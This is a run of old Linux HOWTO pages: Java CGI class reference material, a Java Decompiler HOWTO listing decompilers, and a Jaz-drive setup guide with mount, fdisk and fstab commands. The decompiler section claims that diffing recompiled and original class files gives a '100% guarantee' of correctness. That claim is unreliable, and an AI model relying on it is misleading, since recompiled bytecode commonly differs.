Add address to the list of destinations for this method. There is no set limit to the number of destinations an e-mail message may have. I'm sure that if you build up the list large enough, you can exceed the size of the parameter list that the Mail Transport Agent can accept or use up your memory.

Parameter/

address

A destination to send this message to.

subject()

Purpose

Set the subject for this message.

Syntax

public void subject ( String subject )

Description

This method sets the text for the e-mail's Subject: line. If called more than once, the latest subject set is the one that is used.

Parameter

subject

The text of this message's Subject: line.

5.4 Email_Test

This class provides both an example of how to use the Email class and a test program which can be used to confirm that the Java CGI package is functioning correctly.

Member Summary

        main()      //  Program main().

See Also

Email.

main()

Purpose

Provide a main() method.

Syntax

public static void main( String argv[] )

Description

This is the entry point for a CGI program which returns a list of the available name/value pairs and their current values. It will also send this list to the address specified in the Email variable.

Parameter

argv[]

Arguments passed to the program by the java.cgi script. Currently unused.

5.5 HTML

Class Syntax

public class HTML extends Text

Class Description

Messages are built up with the Text class add*() methods and the HTML-specific methods added by this class. When complete, the message is sent to its destination.

Currently, there is no error checking to confirm that the list-building methods are being used in a correct order, so the programmer must take pains not to violate HTML syntax.

This class is in the ``Orbits.net'' package.

Member Summary

        HTML()                  //  Constructor.
        author()                //  Set the name of the document author.
        definitionList()        //  Start a definition list.
        definitionListTerm()    //  Add a term to a definition list.
        endList()               //  End a list.
        listItem()              //  Add an entry to a list.
        send()                  //  Send the HTML message.
        title()                 //  Set the text for the document title.

See Also

HTML_Test, Text.

HTML()

Purpose

Constructs an object which will contain an HTML message.

Syntax

public HTML()

Description

Sets up an empty message to be completed by the HTML methods.

See Also

Text.

author()

Purpose

Set the name of the document author.

Syntax

public void author ( String author )

Description

Set the name of the document author to author.

Parameter/

author

The text to use as the author of this message.

See Also

title().

definitionList()

Purpose

Start a definition list.

Syntax

public void definitionList ()

Description

Start a definition list. A definition list is a list specialized so that each entry in the list is a term followed by the definition text for that term. The start of a definition list should be followed by the creation of (at least) one term/text pair and a call to the endList() method. Note that, currently, lists cannot be nested.

See Also

definitionListTerm(), endList(), listItem().

definitionListTerm()

Purpose

Add a term to a definition list.

Syntax

public void definitionListTerm ()

Description

Add a term to a definition list. The text for the term part of the current list entry should be appended to the message after this method is called and before a corresponding listItem method is called.

See Also

definitionList(), listItem().

endList()

Purpose

End a list.

Syntax

public void endList ()

Description

End a list. This method closes out a list. Note that, currently, lists cannot be nested.

See Also

definitionList().

listItem()

Purpose

Add an entry to a list.

Syntax

public void listItem ()

public void listItem ( String item )

public boolean listItem ( String term, String item )

Description

Add an entry to a list. If the first form is used, the text for the current list item should be appended to the message after this method is called and before any other list methods are called. In the second and third forms, the item text is specified as a parameter to the method instead of (or in addition to) being appended to the message. The third form is specific to definition lists and provides both the term and the definition of the list entry.

Parameters

item

The text of this list entry.

term

The text of this definition list entry's term part.

See Also

definitionList(), definitionListTerm(), endList().

send()

Purpose

Send the HTML message.

Syntax

public void send ()

Description

Send the HTML message.

title()

Purpose

Set the text for the document title.

Syntax

public void title ( String title )

Description

Set the text for the document title.

Parameter

title

The text of this message's title.

See Also

author().

5.6 HTML_Test

This class provides both an example of how to use the HTML class and a test program which can be used to confirm that the Java CGI package is functioning correctly.

Member Summary

        main()      //  Program main().

See Also

HTML.

main()

Purpose

Provide a main() method.

Syntax

public static void main( String argv[] )

Description

This is the entry point for a CGI program which returns a list of the available name/value pairs in an HTML document, with each name/value pair displayed in a definition list element.

Parameter

argv[]

Arguments passed to the program by the java.cgi script. Currently unused.

5.7 Text

Class Syntax

public abstract class Text

Class Description

This class is the superclass of the Email and HTML classes. Messages are built up with the methods in this class and completed and formatted with the methods in subclasses.

This class is in the ``Orbits.text'' package.

Member Summary

        Text()            //  Constructor.
        add()             //  Add text to this object.
        addLineBreak()    //  Add a line break.
        addParagraph()    //  Add a paragraph break.

See Also

Email, HTML.

add()

Purpose

Add text to this item.

Syntax

public void add ( char addition )

public void add ( String addition )

public void add ( StringBuffer addition )

Description

Add addition to the contents of this text item.

Parameter

addition

Text to be added to the text item.

See Also

addLineBreak(), addParagraph().

addLineBreak()

Purpose

Force a line break at this point in the text.

Syntax

public void addLineBreak ()

Description

Add a line break to the text at the current point.

See Also

add(), addParagraph().

addParagraph()

Purpose

Start a new paragaph.

Syntax

public void add ()

Description

Start a new paragraph at this point in the text flow.

See Also

add(), addLineBreak().


Java CGI HOWTO: Future Plans

 Next Previous Contents

6. Future Plans

  • Add to the Email class:
    Email( int capacity )

    Used when we know how much space the message will need to have allocated.

    sendTo( String [] address )

    Add a list of primary destinations to the e-mail message.

    sendCc( String address )

    Add a Carbon-Copy destination to the e-mail message.

    sendCc( String [] address )

    Add a list of Carbon-Copy destinations to the e-mail message.

    sendBcc( String address )

    Add a Blind Carbon-Copy destination to the e-mail message.

    sendBcc( String [] address )

    Add a list of Blind Carbon-Copy destinations to the e-mail message.

  • Add to the HTML class:
    HTML( int capacity )

    Used when we know how much space the message will need to have allocated.

    public void unorderedList()

    Start an unordered list.

    public void orderedList()

    Start an ordered list.

    public void directoryList()

    Start a directory list.

    public void menuList()

    Start a menu list.

    void anchor( String anchorName )

    Specify an anchor.

    void link( String url, String text )

    Specify a link.

    void applet( String url, String altText )

    Specify an applet link.

  • Allow HTML lists to be nested.
  • Add error checking code to enforce correct ordering of HTML list formatting codes.
  • The location of the file of environment data should be configurable from the Makefile.
  • Get rid of the spurious empty name/value pair that appears in the list when we are dealing with the GET method of data transfer.
  • Consider having CGI implement the java.util.Enumeration interface to successively provide variable names.
  • Add a Test class, which would use every method in this package.
  • Document how CGI_Test, Email_Test and HTML_Test build on each other to provide incremental tests for debugging purposes.
  • Document how Test uses every feature available in this package.


Java CGI HOWTO: Changes

 Next Previous Contents

7. Changes

7.1 Changes from 0.4 to 0.5

  • Changed documentation and comments to reflect the final nature of this release.

7.2 Changes from 0.3 to 0.4

  • Fleshed out the HTML class to provide minimal functionality.
  • Wrote the HTML_Test class and javahtmltest.html-dist.
  • Added the HTML methods to deal with a definition list.

7.3 Changes from 0.2 to 0.3

  • Added the Text and Email classes. HTML was also added, but it is merely a stub at this point.
  • Put the various classes into packages. The main classes are in Orbits.net.*, the support class Text is in Orbits.text.Text.
  • Changed CGItest to CGI_Test.
  • Added the Email_Test class.

7.4 Changes from 0.1 to 0.2

  • The environment variables are put into a temportary file instead of being crammed into the Java inperpreter command-line. The CGI class and java.cgi had to be modified.
  • The javacgitest.html document is made part of the distribution.
  • The text files which are modified by make upon installation are provided with names that end with -dist.


Java Decompiler HOW-TO

Al Dev (Alavoor Vasudevan) alavoor[AT]yahoo.com

v4.4, 27 April 2002

This document will help you to de-compile the Java class programs. This documents gives a list of decompilers which can reverse engineer the Java class files and generate the Java source code files. Thie is very helpful if you do not have the Java source code file and have only the Java class files. The information in this document applies to all the operating sytems where Java language/Java VM runs.

1. Introduction

2. How can I trust Java Decompiler ??!!

3. Related URLs

4. Other Formats of this Document

  • 4.1 Acrobat PDF format
  • 4.2 Convert Linuxdoc to Docbook format
  • 4.3 Convert to MS WinHelp format
  • 4.4 Reading various formats

5. Copyright


Java Decompiler HOW-TO: Introduction

 Next Previous Contents

1. Introduction

(The latest version of this document is at http://www.milkywaygalaxy.freeservers.com. You may want to check there for changes).

Java compiler compiles the Java source code files (*.java) into binaries files (*.class). You would use the Java de-compiler to convert java class files into source code files (*.java).

Java de-compiler is very useful especially if you have *.class files and you do not have access to the source code. Some vendors do not ship the source code for java class files, in which case you use the java decompiler to look at the source code.

See also the "javap" command from Sun Microsystems. This command is available as soon as you install the JDK from Sun Microsystems. At unix prompt type -

bash$ javap -help
bash$ javap -c  <filename>.class

The following are the list of Java decompilers available -

  • Free "Jad" Java Decompiler at http://www.geocities.com/SiliconValley/Bridge/8617/jad.html#general and at http://www.geocities.com/SiliconValley/Bridge/8617/jad.html#gui

  • List of Decompilers, disassemblers and obfuscators are at http://dmoz.org/Computers/Programming/Languages/Java

  • Free "Mocha" Java Decompiler at http://www.brouhaha.com/~eric/computers and download at http://www.brouhaha.com/~eric/computers/mocha-b1.zip

  • "DeCafe Pro" from DeCafe, France at http://decafe.hypermart.net/index.htm

  • "SourceTech Java decompiler" from Source Tech corp at http://www.srctec.com and at http://members.tripod.com/~SourceTec/jasmine.htm

  • "SourceAgain" from Ahpah corp at http://www.ahpah.com

  • "Class Cracker" from Mayon Software, Australia at http://www.tip.net.au/~mayon/classcracker/ccorder.html and at http://www.pcug.org.au/~mayon

  • "IceBreaker" from BreakerTech corp, U.K. at http://www.breakertech.com and at http://www.breakertech.com/breaker/ice/ice.html#download

  • "NMI Java decompiler" from NMI at http://njcv.htmlplanet.com and at http://njcv.htmlplanet.com/njcv.html

  • DJ Java Decompiler at DJ decompiler

  • Google http://directory.google.com/Top/Computers/Programming/Languages/Java/Development_Tools/Translators/Decompilers_and_Disassemblers/?tc=1


Java Decompiler HOW-TO: How can I trust Java Decompiler ??!!

 Next Previous Contents

2. How can I trust Java Decompiler ??!!

For 100% assurance you need a SCIENTIFIC way to validate and trust the Java Decompiler program. The method described in this section will enable the decompiler program to be accepted as "trust-worthy" and reliable.

In order to verify that the decompiler program is regenerating the Java source-code properly, use the following technique -

Generate the class file from the generated source code using the compiler -

bash$ mv myprogram.class myprogram_orig.class
bash$ javac myprogram.java

Now use the unix 'diff' command to compare the two class files -

bash$ diff myprogram.class myprogram_orig.class
Both these files MUST BE IDENTICAL. This verifies that decompiler program is working perfectly. On DOS or Windows 95 you may want to use the free Cygnus Cygwin 'diff' or 'MKS' utilities.

This step gives 100% guarantee and 100% quality assurance and life term or long term WARRANTY on decompiler programs.

It is strongly recommended that you do these steps every time you run decompiler programs.


Java Decompiler HOW-TO: Related URLs

 Next Previous Contents

3. Related URLs

Visit following locators which are related to Java -

  • http://www.linuxdoc.org/HOWTO/Enterprise-Java-for-Linux-HOWTO.html
  • http://www.linuxdoc.org/HOWTO/Java-CGI-HOWTO.html
  • http://www.linuxdoc.org/HOWTO/JavaStation-HOWTO/index.html
  • Vim color text editor for Java, C++, C
  • Beautifier HOWTO for Java and C++ programs
  • C++ Programming HOWTO has support for Java like String objects
  • Linux goodies main site is at http://www.milkywaygalaxy.freeservers.com Mirror sites are at - http://aldev0.webjump.com, angelfire, geocities, virtualave, 50megs, theglobe, NBCi, Terrashare, Fortunecity, Freewebsites, Tripod, Spree, Escalix, Httpcity, Freeservers.


Java Decompiler HOW-TO: Other Formats of this Document

 Next Previous Contents

4. Other Formats of this Document

This document is published in 14 different formats namely - DVI, Postscript, Latex, Adobe Acrobat PDF, LyX, GNU-info, HTML, RTF(Rich Text Format), Plain-text, Unix man pages, single HTML file, SGML (Linuxdoc format), SGML (Docbook format), MS WinHelp format.

This howto document is located at -

  • http://www.linuxdoc.org and click on HOWTOs and search for howto document name using CTRL+f or ALT+f within the web-browser.

You can also find this document at the following mirrors sites -

  • http://www.caldera.com/LDP/HOWTO
  • http://www.linux.ucla.edu/LDP
  • http://www.cc.gatech.edu/linux/LDP
  • http://www.redhat.com/mirrors/LDP
  • Other mirror sites near you (network-address-wise) can be found at http://www.linuxdoc.org/mirrors.html select a site and go to directory /LDP/HOWTO/xxxxx-HOWTO.html

  • You can get this HOWTO document as a single file tar ball in HTML, DVI, Postscript or SGML formats from - ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO/other-formats/ and http://www.linuxdoc.org/docs.html#howto

  • Plain text format is in: ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto

  • Single HTML file format is in: http://www.linuxdoc.org/docs.html#howto

    Single HTML file can be created with command (see man sgml2html) - sgml2html -split 0 xxxxhowto.sgml

  • Translations to other languages like French, German, Spanish, Chinese, Japanese are in ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto Any help from you to translate to other languages is welcome.
The document is written using a tool called "SGML-Tools" which can be got from - http://www.sgmltools.org Compiling the source you will get the following commands like
  • sgml2html xxxxhowto.sgml (to generate html file)
  • sgml2html -split 0 xxxxhowto.sgml (to generate a single page html file)
  • sgml2rtf xxxxhowto.sgml (to generate RTF file)
  • sgml2latex xxxxhowto.sgml (to generate latex file)

4.1 Acrobat PDF format

PDF file can be generated from postscript file using either acrobat distill or Ghostscript. And postscript file is generated from DVI which in turn is generated from LaTex file. You can download distill software from http://www.adobe.com. Given below is a sample session:

bash$ man sgml2latex
bash$ sgml2latex filename.sgml
bash$ man dvips
bash$ dvips -o filename.ps filename.dvi
bash$ distill filename.ps
bash$ man ghostscript
bash$ man ps2pdf
bash$ ps2pdf input.ps output.pdf
bash$ acroread output.pdf &
Or you can use Ghostscript command ps2pdf. ps2pdf is a work-alike for nearly all the functionality of Adobe's Acrobat Distiller product: it converts PostScript files to Portable Document Format (PDF) files. ps2pdf is implemented as a very small command script (batch file) that invokes Ghostscript, selecting a special "output device" called pdfwrite. In order to use ps2pdf, the pdfwrite device must be included in the makefile when Ghostscript was compiled; see the documentation on building Ghostscript for details.

4.2 Convert Linuxdoc to Docbook format

This document is written in linuxdoc SGML format. The Docbook SGML format supercedes the linuxdoc format and has lot more features than linuxdoc. The linuxdoc is very simple and is easy to use. To convert linuxdoc SGML file to Docbook SGML use the program ld2db.sh and some perl scripts. The ld2db output is not 100% clean and you need to use the clean_ld2db.pl perl script. You may need to manually correct few lines in the document.

  • Download ld2db program from http://www.dcs.gla.ac.uk/~rrt/docbook.html or from Milkyway Galaxy site
  • Download the cleanup_ld2db.pl perl script from from Milkyway Galaxy site
The ld2db.sh is not 100% clean, you will get lots of errors when you run
        bash$ ld2db.sh file-linuxdoc.sgml db.sgml
        bash$ cleanup.pl db.sgml > db_clean.sgml
        bash$ gvim db_clean.sgml
        bash$ docbook2html db.sgml
And you may have to manually edit some of the minor errors after running the perl script. For e.g. you may need to put closing tag < /Para> for each < Listitem>

4.3 Convert to MS WinHelp format

You can convert the SGML howto document to Microsoft Windows Help file, first convert the sgml to html using:

        bash$ sgml2html xxxxhowto.sgml     (to generate html file)
        bash$ sgml2html -split 0   xxxxhowto.sgml (to generate a single page html file)
Then use the tool HtmlToHlp. You can also use sgml2rtf and then use the RTF files for generating winhelp files.

4.4 Reading various formats

In order to view the document in dvi format, use the xdvi program. The xdvi program is located in tetex-xdvi*.rpm package in Redhat Linux which can be located through ControlPanel | Applications | Publishing | TeX menu buttons. To read dvi document give the command -

        xdvi -geometry 80x90 howto.dvi
        man xdvi
And resize the window with mouse. To navigate use Arrow keys, Page Up, Page Down keys, also you can use 'f', 'd', 'u', 'c', 'l', 'r', 'p', 'n' letter keys to move up, down, center, next page, previous page etc. To turn off expert menu press 'x'.

You can read postscript file using the program 'gv' (ghostview) or 'ghostscript'. The ghostscript program is in ghostscript*.rpm package and gv program is in gv*.rpm package in Redhat Linux which can be located through ControlPanel | Applications | Graphics menu buttons. The gv program is much more user friendly than ghostscript. Also ghostscript and gv are available on other platforms like OS/2, Windows 95 and NT, you view this document even on those platforms.

  • Get ghostscript for Windows 95, OS/2, and for all OSes from http://www.cs.wisc.edu/~ghost

To read postscript document give the command -

                gv howto.ps
                ghostscript howto.ps

You can read HTML format document using Netscape Navigator, Microsoft Internet explorer, Redhat Baron Web browser or any of the 10 other web browsers.

You can read the latex, LyX output using LyX a X-Windows front end to latex.


Java Decompiler HOW-TO: Copyright

 Next Previous Contents

5. Copyright

Copyright policy is GNU/GPL as per LDP (Linux Documentation project). LDP is a GNU/GPL project. Additional requests are - you retain the author's name, email address and this copyright notice on all the copies. If you make any changes or additions to this document then you should intimate all the authors of this document.


Jaz-drive HOWTO

Herbert S. DaSilva

v1.8, 12 January 2000

This HOWTO covers the configuration and use of the 1Gb and 2Gb Iomega Jaz drives under Linux.

1. Introduction

  • 1.1 History
  • 1.2 Latest Version
  • 1.3 Copyrights and Trademarks
  • 1.4 Acknowledgements and Thanks

2. Jaz Hardware

  • 2.1 The Jaz Drives
  • 2.2 The Jaz "Disks"
  • 2.3 The Jaz Jet Host Adapter
  • 2.4 Other SCSI Host Adapters
  • 2.5 Kernel Driver Issues

3. Identifying the Jaz Drive

  • 3.1 During Power-On Test
  • 3.2 During Boot
  • 3.3 Device Name

4. Using a Jaz Disk

  • 4.1 DOS Formatted Disks
  • 4.2 Repartitioned DOS Jaz Disks
  • 4.3 Linux-Native Jaz Disks
  • 4.4 Checking Linux-Native Jaz Disks
  • 4.5 Using the fstab to Make Things Easier
  • 4.6 The Jaz "tools" Disk

5. Linux Utilities for Jaz Drives

  • 5.1 jaztool
  • 5.2 jaZip

6. Booting from a Jaz Cartridge

  • 6.1 BIOS Issues
  • 6.2 Installing Linux on a Jaz Cartridge


Jaz-drive HOWTO: Introduction

 Next Previous Contents

1. Introduction

The Iomega Jaz drive is a removable-media disk drive whose disks have a capacity of 1 or 2 Gigabytes. Unlike the Zip drive, the Jaz is only available as a SCSI device (internal or external), so a SCSI interface card and driver are required to use these drives.

1.1 History

Much of this HOWTO evolved from what was created by the previous author, Bob Willmot, (who can now be reached at bob@willmot.com), who maintained the HOWTO through version 1.6, with contributions and information from the following people:

  • Grant Gunther, grant@torque.net
  • Tom Poindexter, tpoindex@nyx.net
  • Todd Woods, woods@cs.uiowa.edu
  • Richard B. Melrose, rbm@math.mit.edu
  • Phil Howard, phil@charon.milepost.com
  • Rick Niess, rniess@ocean.st.usm.edu

1.2 Latest Version

The latest version of this document can be found on my homepage http://www.ultranet.com/~hsd/HOWTO/ where you will find the HTML version, suitable for browsing, a PostScript version, suitable for printing, and the SGML source. Other versions may be found in different formats at the LDP homepage http://www.linuxdoc.org/.

Version History

v1.8, 12 January 2000

  • Fixed an incorrect HTTP link
  • Added clarification to jaztool code for 2Gb drives

v1.7, 18 November 1999

  • Converted to SGML
  • Added info for 2Gb drives
  • Added fstab entry examples
  • General freshening up

If you have any comments/suggestions/corrections please send them to: Herb DaSilva at Home or (if you must have fast response) at Work.

1.3 Copyrights and Trademarks

Copyright © 2000,1999 Herbert S. DaSilva

This manual may be reproduced in whole or in part, without fee, subject to the following restrictions:

  • The copyright notice above and this permission notice must be preserved complete on all complete or partial copies
  • Any translation or derived work must be approved by the author in writing before distribution.
  • If you distribute this work in part, instructions for obtaining the complete version of this manual must be included, and a means for obtaining a complete version provided.
  • Small portions may be reproduced as illustrations for reviews or quotes in other works without this permission notice if proper citation is given.

Exceptions to these rules may be granted for academic purposes: Write to the author and ask. These restrictions are here to protect us as authors, not to restrict you as learners and educators. All source code in this document is placed under the GNU General Public License, available via anonymous FTP from the GNU archive site.

1.4 Acknowledgements and Thanks

Thanks to Stephan Burlot, stephan.burlot@edicom.ch, for pointing out the error (or lack of clarity) in the 2Gb patch to jaztool that was fixed in version 1.8.

My thanks go out to Mark F. Komarinski for his "HOWTO-HOWTO" - This LDP author was helped Mark, you did your job. ;-)


Jaz-drive HOWTO: Jaz Hardware

 Next Previous Contents

2. Jaz Hardware

2.1 The Jaz Drives

Jaz drives are SCSI devices and are available as an external drive with a 50-pin SCSI-2 self-terminating interface or an internal 3-1/2 format drive with a 50-pin header interface.

Both the internal and external devices are available in either 1 or 2 Gigabyte capacity, so there are four different Jaz drives available.

2.2 The Jaz "Disks"

Jaz disks are a cartridge-style removable media containing a stack of three 3.5" platters. From here out, I'll be using the terms "cartridge" and "disk" interchangeably to mean the Jaz media.

The 1Gb and 2Gb cartridges appear similar, but there is actually a subtle difference in their shape which prevents a 2Gb cartridge from being fully inserted into a 1Gb drive. Obviously, this means that you can't use a 2Gb cartridge in a 1Gb drive.

The 2-Gb capacity Jaz drives can read, write, and format both 2-Gb and 1-Gb Jaz cartridges.

2.3 The Jaz Jet Host Adapter

Iomega markets a SCSI host adapter under the name Jaz Jet. However, there are at least two different SCSI chipsets that are used. For this reason, the Jaz Jet isn't necessarily the best SCSI adapter to buy if you need one for your Jaz drive. You're better off getting a card that you know your Linux distribution will support (see the next section).

One of the Jaz Jet cards is based on the Adaptec 7800 family of adapters. Linux 2.0 supports this adapter with the aic7xxx driver. This driver is built into most of the standard 2.x SCSI-capable kernels supplied with most Linux distributions.

The other adapter is based on the Advanced Systems chipset. At boot time the board gives a message like:

Jaz Jet PCI SCSI adapter Copyright Advanced Systems 1996

Depending on your Linux distribution, you may need to build a custom kernel (with the CONFIG_SCSI_ADVANSYS variable set) to use this adapter.

Personally, I don't like surprises, so if I were going to buy an adapter card, I would get a name-brand card with a 50-pin connector, so that I knew that what I was getting was supported.

2.4 Other SCSI Host Adapters

If you're using an Ultra-Wide SCSI card with a 68-pin connector, you'll need to get an adapter or another cable. The adapters do indeed work just fine with the Jaz drive, but can be rather pricey, so if you're buying a SCSI card primarily for the purpose of connecting the Jaz drive, you're better off picking up a card with a 50pin connector on it.

If you're looking for a suggestion, I like the Adaptec AHA-2930U - it's cheap, it's fast, and the Jaz drive just plugs right in using the supplied cable with no adapter hassles. Unfortunately, support for this card is fairly new, so unless you have a fairly new Linux distribution (2.2.x kernel), it probably isn't supported. There are patches to the aic7xxx driver for 2.0.36 kernels that support this card, however. The AHA-2940U is an excellent choice as well, and it has been supported for a lot longer, it's just more expensive.

2.5 Kernel Driver Issues

As always, be sure that your Linux distribution supports a particular card EXPLICITLY before making a purchase. Many manufacturers, like Adaptec, have cards with numbers and letters similar to each other that are actually completely different chipsets, and therefore use completely different drivers.

Configuring the Linux kernel for a SCSI card is the subject of a complete document in itself, so I won't go into that here.

Info on rebuilding the kernel should be found in /usr/src/linux/README, or in /usr/src/linux/Documentation/ directory for the 2.x kernels. If these files don't exist, make sure that you have installed the kernel package source for your distribution.

You can also check out Brian Ward's Kernel-HOWTO


Jaz-drive HOWTO: Identifying the Jaz Drive

 Next Previous Contents

3. Identifying the Jaz Drive

3.1 During Power-On Test

With a SCSI controller installed, when the machine is powered up or reset the SCSI controller will scan the SCSI bus looking for attached devices before booting the operating system.

If your SCSI card is correctly installed, and your Jaz drive is attached and powered on, you should see the drive listed as something like "Iomega Jaz 1GB" or "Iomega Jaz 2GB" during this time.

If the drive doesn't show up, there's no sense booting Linux. Power down the PC and Jaz drive, and check everything again. In particular, unplug the cables and make sure none of the the pins are bent, then replug them and ensure they are completely seated against the connector. If you have multiple SCSI devices, make sure they all have different ID numbers, and that the last device in the SCSI chain is terminated.

When the drive shows up in the power-on test, you're half way home.

3.2 During Boot

When Linux boots the SCSI driver should display information about your SCSI adapter and what devices are attached to the SCSI bus.

Boot messages will vary depending on your driver and adapter, and are logged to the /var/log/messages (or /var/adm/messages) file as well as appearing on the screen during boot. You can also 'replay' the messages since your last boot from the command prompt with the dmesg command.

Here's the kernel booting output from a 2.0.36 kernel with an Adaptec 2940 controller (using the aic7xxx driver):

    (scsi0) <Adaptec AHA-2940A Ultra SCSI host adapter> found at PCI 14/0
    (scsi0) Narrow Channel, SCSI ID=7, 3/255 SCBs
    (scsi0) Warning - detected auto-termination
    (scsi0) Please verify driver detected settings are correct.
    (scsi0) If not, then please properly set the device termination
    (scsi0) in the Adaptec SCSI BIOS by hitting CTRL-A when prompted
    (scsi0) during machine bootup.
    (scsi0) Cables present (Int-50 NO, Ext-50 YES)
    (scsi0) Downloading sequencer code... 419 instructions downloaded
    scsi0 : Adaptec AHA274x/284x/294x (EISA/VLB/PCI-Fast SCSI) 5.1.2/3.2.4
           <Adaptec AHA-2940A Ultra SCSI host adapter>
    scsi : 1 host.
      Vendor: iomega    Model: jaz 2GB           Rev: E.17
      Type:   Direct-Access                      ANSI SCSI revision: 02
    Detected scsi removable disk sda at scsi0, channel 0, id 4, lun 0
    scsi : detected 1 SCSI disks total.
    (scsi0:0:4:0) Synchronous at 10.0 Mbyte/sec, offset 15.
    sda : READ CAPACITY failed.
    sda : status = 1, message = 00, host = 0, driver = 28
    sda : extended sense code = 2
    sda : block size assumed to be 512 bytes, disk size 1GB.

If something resembling these lines doesn't appear, then your kernel is probably not configured correctly (or you picked the wrong pre-built kernel).

If the "scsi0 :" line does not appear, then you have not configured your driver correctly. Some drivers will give you a hint about what is wrong. If a drive name is not assigned, you probably forgot to include SCSI disk support when you built the kernel.

Note the READ CAPACITY failed. Most SCSI drivers (like this one) will detect that the drive is a removable media type, and not get all flustered when it can't read the partition table. However, some SCSI cards aren't as graceful. If your PC hangs during boot, try booting with a cartridge in the drive.

Check the README files in /usr/src/linux/drivers/scsi and the Kernel HOWTO for other debugging hints.

3.3 Device Name

In the log output in the previous section note the raw SCSI device name, which in this case is "sda", the full name being /dev/sda. If the Jaz drive is the only SCSI disk on your system, it will typically be /dev/sda. If your primary hard drive is SCSI, or you have a SCSI CD-ROM drive, it could be sdb, sdc, etc.

Whatever the drive name is, you will need this name to access the drive, as explained in later sections.


Jaz-drive HOWTO: Using a Jaz Disk

 Next Previous Contents

4. Using a Jaz Disk

4.1 DOS Formatted Disks

Jaz disks come pre-formatted from Iomega with a single partition using the DOS FAT16 file system. The single partition is usually the 4th disk partition (for Mac compatibility - the Mac requires data to be on the 4th partition, but the PC doesn't care which partition data is on).

Linux is perfectly happy reading and writing a FAT16 file system, so you can use the disk as is. In order to use the disk, you need to mount it, so the first thing you need to do is create a mount point. For this document, we'll mount all our DOS Jaz drives under /dos_jaz, so let's create that mount point (you'll need to be root for most of this stuff). You'll only need to do this once:

mkdir /dos_jaz

In a previous section, I mentioned you'd need to remember the Jaz drive's raw SCSI device name. You need that now. If your drive is /dev/sda then all these examples will work for you. If not, you'll need to replace "sda" with the device ID of your Jaz drive. Since you need to issue these commands as root, you'll want to be sure you have the correct names.

If you have a 2.0 kernel, or have added VFAT support, you can mount the Jaz disk this way, and have long filenames under FAT16:

mount -t vfat /dev/sda4 /dos_jaz

Note that although VFAT allows you to use long filenames, those filenames are still case in-sensitive, and although 'ls' lists permissions, you can't actually change permissions on any of the files.

If the "vfat" format is not recognized by the mount command, then you'll use this command to mount the Jaz disk:

mount -t msdos /dev/sda4 /dos_jaz

Once you have issued either of the mount commands, files from the disk will appear under the /dos_jaz directory. While the disk is mounted, you will not be able to eject it.

When you are done with the disk, you can unmount it with the command:

umount /dos_jaz

Once unmounted, you can press the button on the front of the drive to eject the cartridge.

4.2 Repartitioned DOS Jaz Disks

Since a Jaz disk is simply a disk, it can be repartitioned and reformatted like a fixed disk. If this is done, you need to know which partition numbers were used during repartitioning to be able to mount the disk.

For instance, if the partition table was wiped, and a single new partition was created as the first partition, the two mount commands from the previous section would be:

mount -t vfat /dev/sda1 /dos_jaz

and

mount -t msdos /dev/sda1 /dos_jaz

4.3 Linux-Native Jaz Disks

Linux-Native Jaz disks allow files to be stored with standard Unix permissions and case-sensitive filenames. The only drawback to Linux-Native disks is that they can no longer be used on DOS/Windows machines.

A Jaz disk looks the same as a hard drive to Linux, so for those of you familiar with the Linux disk management tools, none of the following will be a surprise.

If you want to erase a Jaz disk and make a Linux native file system on it, you use fdisk on the entire disk. Please be very careful using fdisk, especially if you have a SCSI hard drive - we wouldn't want to have any "accidents". :-) In particular, make sure you are operating on the correct device before making changes. In most cases, you'll use:

fdisk /dev/sda

and delete the existing partitions (with the d command). Then create a new partition with the n command, make it primary partition number 1 (using all the cylinders), use w to write the partition table to disk, and quit with q.

Once the partition has been created, format it with:

mke2fs /dev/sda1

(The 1 is the number that you gave this partition in fdisk). I prefer to create a separate mount point for Linux native Jaz disks, and you'll see why a little later when we talk about the fstab. So let's create that mount point now, and then mount the disk:

mkdir /jaz

mount -t ext2 /dev/sda1 /jaz

As usual, when the Jaz disk is mounted, it cannot be ejected. When you're done using the Jaz disk, you unmount it with:

umount /jaz

Once unmounted, you can press the button on the front of the drive to eject the cartridge.

4.4 Checking Linux-Native Jaz Disks

Like your other disk drives, once a Linux Jaz disk has been mounted and unmounted a certain number of times, the system will mark the disk as "dirty". When this happens, you'll get a message like:

Mounting unchecked filesystem, /dev/sda1. Recommend running e2fsck.

Once you see this message, it's a good idea to go ahead and check the disk. The disk must be unmounted in order to check it. Unfortunately, you only get the "dirty" message when you mount it, so you can either check the disk when you're done using it, or unmount it, check it, then re-mount it. Use the following command to check the disk (assuming the partition to be checked is the first one):

e2fsck /dev/sda1

4.5 Using the fstab to Make Things Easier

Up to now, we've had to be root to mount and unmount the Jaz disks, and we've had to type quite a bit to mount the Jaz disks. By adding a couple of entries to the file /etc/fstab, we can make using the Jaz drive much easier.

DOS Format Disks

If you've got preformatted DOS disks, and you've created the /dos_jaz mount point, you can add this line to the file /etc/fstab:

/dev/sda4 /dos_jaz vfat defaults,user,nosuid,noauto 0 0

With this line in the fstab, any user can mount and unmount a DOS-format Jaz cartridge with the following commands:

mount /dos_jaz

umount /dos_jaz

This is because we have told Linux what the Jaz device ID and media type are in the fstab, plus we have given the user option to allow any user to mount and unmount the disk. Naturally, if your Jaz drive is other than sda, you'll need to change that, and this won't work for DOS cartridges that have been repartitioned without another entry in the fstab that uses a separate mount point (e.g. /dos_jaz2).

Linux Format Disks

If you've got Linux formatted disks, and you've created the /jaz mount point, you can add this line to the fstab:

/dev/sda1 /jaz ext2 defaults,user,exec,nosuid,noauto 0 0

With this line in the fstab, any user can mount and unmount a Linux-format Jaz cartridge with the following commands:

mount /jaz

umount /jaz

Once again, we have told Linux what the Jaz device ID and media type are in the fstab, plus we have given the user option to allow any user to mount and unmount the disk. Some system administrators may not wish to have the exec option present, as there are some security risks with letting any user run an executable of unknown origin from the drive, but with the nosuid option present, these risks are minimal.

Automatic Mount at Boot Time

Both of the fstab examples above have the option noauto in them to prevent the disk from being automatically mounted at boot time. In general, this is a good idea because if there is no disk in the drive when the computer boots, or the drive is powered off, it can cause varying amounts of trouble, depending on which SCSI driver you are using.

If you're sure you want to mount the jaz drive at boot time, simply remove the noauto option, and make sure the drive is on, and a cartridge is inserted before booting. Note that you can only have one fstab entry for jaz drive that will auto-mount, or you may encounter the same problems as if there was no cartridge in the drive.

4.6 The Jaz "tools" Disk

